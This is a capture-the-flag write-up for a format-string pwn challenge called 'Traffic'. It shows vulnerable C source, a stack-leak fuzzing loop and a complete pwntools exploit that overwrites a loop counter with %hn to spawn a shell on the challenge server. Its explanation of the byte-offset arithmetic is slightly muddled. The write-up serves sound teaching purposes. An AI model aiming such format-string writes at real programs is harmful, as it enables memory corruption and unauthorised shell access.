Post

Ramadan CTF 2026 - Traffic

Ramadan CTF 2026 - Traffic

[ Traffic ] Writeup

Category: Pwn (Format String)
Difficulty: Medium
Author: Nerdicon

challenge

Access all challenges here:
GitHub Repository

Tools Used

  • gdb for verifying stack layout
  • python3 (pwntools) for exploit scripting

Overview

“Embouteillage w m3adch bekri 3l moghrib” – “Traffic jam and it’s almost Maghrib (iftar time)!” You’re stuck in traffic, and the loop counter is ticking toward 530 where you lose(). But if the counter makes it all the way to 696969, you break free and reach win(). Time to hack the loop counter with a format string write!


Source Code Analysis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
void win() {
    puts("Sa7a Chribtk");
    system("/bin/sh");
}

void lose() {
    puts("Fetik el Ftour.");
    exit(69);
}

void vuln() {
    size_t i;
    size_t* i_ptr = &i;
    char str[32];

    puts("M3adch Bekri: ");
    for (i = 0; i < 696969; i++) {
        printf("chn3ml? ");
        fread(str, 1, sizeof(str) - 1, stdin);  // reads 31 bytes
        printf(str);     // FORMAT STRING VULNERABILITY!
        puts("");
        if (i == 530) {
            lose();      // game over at iteration 530
        }
    }
}

int main() {
    // ...
    vuln();
    win();    // reached if loop completes (i >= 696969)
    return 0;
}

File and checksec

file checksec

The challenge:

  1. A loop runs i from 0 to 696969. If it completes, win() is called.
  2. At iteration 530, lose() is called and the program exits. We’ll never reach 696969 normally.
  3. Each iteration reads 31 bytes and passes them to printf(str)format string vulnerability.
  4. There’s a convenient i_ptr = &i on the stack – a pointer to the loop counter!

Our goal: use the format string to overwrite i to a value greater than 696969, making the loop exit and reaching win().

Tip: The i_ptr variable exists solely to put a pointer to i on the stack. This is the challenge author being kind – without it, we’d need to leak or compute i’s stack address ourselves.


Step 1: Leak the Address of i

First, we need to find i_ptr on the stack. Using format string fuzzing:

1
2
3
4
5
6
7
8
for i in range(1,15):
        p.recvuntil(b"chn3ml? ")
        p.send(f"aaaaaaaa%{i}$p\n".encode().ljust(32))
        print("i:",i,p.recvline())
        p.recvuntil(b"chn3ml? ")
        p.send(f"aaaaaaaa%{i}$p\n".encode().ljust(32))
        print("i:",i,p.recvline())

leak0

After fuzzing, we find:

  • Offset 11 (%11$p): contains i_ptr – the address of the loop counter i.
  • Offset 6: where our input buffer starts on the stack.

leak1 leak2

In the first loop iteration, we leak i_ptr:

1
p.send(f"|%11$p|".encode().ljust(31))

This gives us the exact stack address of i.

leak1


Step 2: Overwrite i Using %hn

Now we need to write a large value to i to skip past 696969. The trick: write to i_addr + 3 (the most significant bytes of the 8-byte size_t).

Using %hn (half-word write = 2 bytes), we write a small number to the upper bytes. Even a small value like 4 at offset +3 gives us:

1
i = 0x0004____ (where ____ are the current lower bytes)

0x00040000 = 262144, but since we’re writing to byte offset 3, it shifts by 24 bits, making i astronomically large – way past 696969.

The payload for the second iteration:

1
2
# Place i_addr+3 at stack offset 6+3 = 9
payload = f"aaaa%{str_offset+3}$hn2".encode().ljust(24, b" ") + p64(i_addr + 3)
  • aaaa = 4 characters printed (so %hn writes the value 4)
  • %9$hn = write 2 bytes at the address found at stack offset 9
  • The address i_addr + 3 is placed at stack offset 9 (after padding to align it)

When this executes, the upper bytes of i become non-zero, making i > 696969. The loop condition fails, the loop exits, and win() is called.


Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

#p = process("./main")
p = remote("tcp.espark.tn" , 1977)

str_offset = 6
i_addr_offset = 11

# Step 1: Leak address of i
p.recvuntil(b"chn3ml? ")
p.send(f"|%{i_addr_offset}$p|".encode().ljust(31))
p.recvuntil(b"|")
i_addr = p.recvuntil(b"|")[:-1]
log.info(f"{i_addr=}")
i_addr = p64(int(i_addr, 16) + 3)  # target MSB of i

# Step 2: Overwrite i to skip the loop
payload = b""
payload += f"aaaa%{str_offset+3}$hn2".encode().ljust(24, b" ")
payload += i_addr

log.info(f"payload len : {len(payload)}")
p.recvuntil(b"chn3ml? ")
p.send(payload)

p.interactive()

flag


Key Takeaways

  • Format string writes (%n, %hn, %hhn) can modify any writable memory if you can place the target address on the stack.
  • %hn writes 2 bytes, %hhn writes 1 byte, %n writes 4 bytes – choose based on how much you need to modify.
  • Writing to higher bytes of a multi-byte integer is a clever trick. Instead of writing a huge value (696970+), you write a tiny value to byte offset +3, which shifts it into the upper bits and makes the number massive.
  • Format string bugs in loops are extra dangerous – you get multiple shots, one for leaking and another for writing.

Helpful Resources

Thanks for reading!

This post is licensed under CC BY 4.0 by the author.